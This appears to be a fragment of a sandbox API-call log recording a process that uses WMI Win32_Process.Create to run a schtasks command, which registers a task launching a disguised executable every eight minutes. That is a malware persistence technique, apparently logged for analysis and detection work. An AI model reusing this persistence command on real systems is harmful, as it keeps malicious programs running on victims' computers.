riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0bc10) returned 0x0 [0160.932] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bc10, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0160.932] WbemDefPath:IUnknown:AddRef (This=0x1aa0bc10) returned 0x3 [0160.932] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bc10, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0160.932] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bc10, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0160.932] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bc10, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bcc3b40) returned 0x0 [0160.932] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc3b40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.932] WbemDefPath:IUnknown:Release (This=0x1bcc3b40) returned 0x3 [0160.932] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0160.933] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0160.933] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bc10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0160.933] WbemDefPath:IUnknown:Release (This=0x1aa0bc10) returned 0x2 [0160.933] WbemDefPath:IUnknown:Release (This=0x1aa0bc10) returned 0x1 [0160.933] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0160.933] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0160.933] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bc10, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0bc10) returned 0x0 [0160.933] WbemDefPath:IUnknown:AddRef (This=0x1aa0bc10) returned 0x3 [0160.933] WbemDefPath:IUnknown:Release (This=0x1aa0bc10) returned 0x2 [0160.933] WbemDefPath:IWbemPath:SetText (This=0x1aa0bc10, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0160.933] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bd90, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0160.933] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bc10, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0160.933] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bc10, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0160.933] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bc10, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0160.933] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1aa0bd90) returned 0x0 [0160.933] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bc10, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0160.933] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0bc10, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0160.933] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0bc10, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0160.933] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0bd90, uIndex=0x0, pszName="root") returned 0x0 [0160.933] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0bc10, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0160.933] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0bc10, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0160.933] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0bd90, uIndex=0x1, pszName="cimv2") returned 0x0 [0160.933] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0bc10, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0160.933] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0bc10, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0160.933] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0bd90, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0160.933] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0bd90, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0160.933] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0bd90, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0160.934] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0c090, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0160.934] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c090, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0160.934] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c090, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.934] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0c090, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0160.934] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c090, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0160.934] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c090, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.934] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bd90, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0160.934] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bd90, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0160.934] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bd90, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0160.934] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bd90, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0160.934] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bd90, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0160.934] IWbemServices:GetObject (in: This=0x1bbda7f0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bbb8820, ppCallResult=0x0) returned 0x0 [0160.956] IWbemClassObject:GetMethod (in: This=0x1bbb8820, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bb90ab0, ppOutSignature=0x1bb7e690*=0x1bb90e20) returned 0x0 [0160.957] IWbemClassObject:SpawnInstance (in: This=0x1bb90ab0, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1bc76170) returned 0x0 [0160.957] IWbemClassObject:Get (in: This=0x1bc76170, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2784208*=0, plFlavor=0x278420c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2784208*=8, plFlavor=0x278420c*=32) returned 0x0 [0160.957] IWbemClassObject:Get (in: This=0x1bc76170, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2784208*=8, plFlavor=0x278420c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2784208*=8, plFlavor=0x278420c*=32) returned 0x0 [0160.957] IWbemClassObject:Put (This=0x1bc76170, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"yardadultbehindy\" /sc MINUTE /mo 8 /tr \"'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0160.958] IWbemClassObject:Get (in: This=0x1bc76170, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2784298*=0, plFlavor=0x278429c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2784298*=13, plFlavor=0x278429c*=32) returned 0x0 [0160.958] IWbemClassObject:Get (in: This=0x1bc76170, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2784298*=13, plFlavor=0x278429c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2784298*=13, plFlavor=0x278429c*=32) returned 0x0 [0160.958] IUnknown:QueryInterface (in: This=0x1bbb8140, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bbb8140) returned 0x0 [0160.958] IUnknown:QueryInterface (in: This=0x1bbb8140, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0160.958] IUnknown:QueryInterface (in: This=0x1bbb8140, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0160.958] IUnknown:AddRef (This=0x1bbb8140) returned 0x3 [0160.958] IUnknown:QueryInterface (in: This=0x1bbb8140, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0160.959] IUnknown:QueryInterface (in: This=0x1bbb8140, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0160.959] IUnknown:QueryInterface (in: This=0x1bbb8140, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bbb8148) returned 0x0 [0160.959] IMarshal:GetUnmarshalClass (in: This=0x1bbb8148, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0160.959] IUnknown:Release (This=0x1bbb8148) returned 0x3 [0160.959] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0160.959] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0160.959] IUnknown:QueryInterface (in: This=0x1bbb8140, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0160.959] IUnknown:Release (This=0x1bbb8140) returned 0x2 [0160.959] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0160.959] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0160.959] IUnknown:QueryInterface (in: This=0x1bbb8140, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0160.959] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0160.959] IUnknown:QueryInterface (in: This=0x1bbb8140, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0160.959] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0160.959] IUnknown:AddRef (This=0x1bbb8140) returned 0x3 [0160.960] IWbemClassObject:Put (This=0x1bc76170, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bbb8140, varVal2=0x0), Type=0) returned 0x0 [0160.960] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bcd0, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0160.960] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bcd0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0160.960] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bcd0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0160.960] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0c090, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0160.960] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c090, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0160.960] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c090, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.960] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bcd0, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0160.960] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bcd0, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0160.960] IWbemServices:ExecMethod (in: This=0x1bbda7f0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bc76170, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1bc76420, ppCallResult=0x0) returned 0x0 [0161.164] IWbemClassObject:Get (in: This=0x1bc76420, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27845b0*=0, plFlavor=0x27845b4*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x908, varVal2=0x0), pType=0x27845b0*=19, plFlavor=0x27845b4*=0) returned 0x0 [0161.165] IWbemClassObject:Get (in: This=0x1bc76420, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27845b0*=19, plFlavor=0x27845b4*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x908, varVal2=0x0), pType=0x27845b0*=19, plFlavor=0x27845b4*=0) returned 0x0 [0161.166] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0161.166] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0161.167] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0161.167] IUnknown:Release (This=0x1a943398) returned 0x1 [0161.169] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bcc38a0) returned 0x0 [0161.169] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc38a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0161.169] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc38a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1aa0bb50) returned 0x0 [0161.169] WbemDefPath:IUnknown:Release (This=0x1bcc38a0) returned 0x0 [0161.169] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bb50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1aa0bb50) returned 0x0 [0161.169] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bb50, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0161.169] WbemDefPath:IUnknown:AddRef (This=0x1aa0bb50) returned 0x3 [0161.170] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bb50, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0161.170] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bb50, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0161.170] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bb50, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bcc38e0) returned 0x0 [0161.170] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc38e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0161.170] WbemDefPath:IUnknown:Release (This=0x1bcc38e0) returned 0x3 [0161.170] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0161.170] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0161.170] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bb50, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0161.170] WbemDefPath:IUnknown:Release (This=0x1aa0bb50) returned 0x2 [0161.170] WbemDefPath:IUnknown:Release (This=0x1aa0bb50) returned 0x1 [0161.170] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0161.170] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0161.170] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bb50, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1aa0bb50) returned 0x0 [0161.170] WbemDefPath:IUnknown:AddRef (This=0x1aa0bb50) returned 0x3 [0161.170] WbemDefPath:IUnknown:Release (This=0x1aa0bb50) returned 0x2 [0161.170] WbemDefPath:IWbemPath:SetText (This=0x1aa0bb50, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0161.170] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bb50, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0161.170] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bb50, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0161.170] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bb50, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0161.171] 